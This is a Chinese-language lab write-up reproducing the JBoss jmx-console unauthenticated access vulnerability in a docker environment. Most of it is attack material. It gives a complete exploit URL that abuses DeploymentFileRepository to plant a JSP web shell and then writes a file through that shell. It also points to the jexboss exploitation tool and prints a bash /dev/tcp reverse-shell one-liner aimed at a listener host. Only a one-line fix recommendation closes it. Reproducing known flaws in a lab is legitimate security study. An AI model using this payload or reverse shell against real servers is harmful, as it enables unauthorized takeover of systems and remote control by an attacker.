0x00 前言
漏洞原因:在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。
0x01 环境
使用docker搭建漏洞环境
sudo docker search testjboss
搜索漏洞环境
sudo docker pull testjboss/jboss
sudo docker images
查看现有的docker环境
sudo docker run -p 80:8080 -d testjboss/jboss
运行环境
访问http://ip即可
0x02 复现
http://ip/jmx-console 直接访问jboss控制台
写入一句话木马:
http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
写入1.txt文件
http://ip/August/shell.jsp?f=1.txt&t=hello world!
访问1.txt文件
http://ip/August/1.txt
0x03 检测工具
检测工具:jexboss,一个使用Python编写的Jboss漏洞检测利用工具,通过它可以检测并利用web-console,jmx-console,JMXInvokerServlet这三个漏洞,并且可以获得一个shell。
https://github.com/joaomatosf/jexboss
使用:
python2 jexboss.py -u http://ip:port
反弹shell到win10机器,win10机器关闭防火墙,nc监听
bash -i >& /dev/tcp/192.168.255.1/7777 0>&1
0x04 修复建议
修复建议:关闭jmx-console和web-console,提高安全性。
参考文章: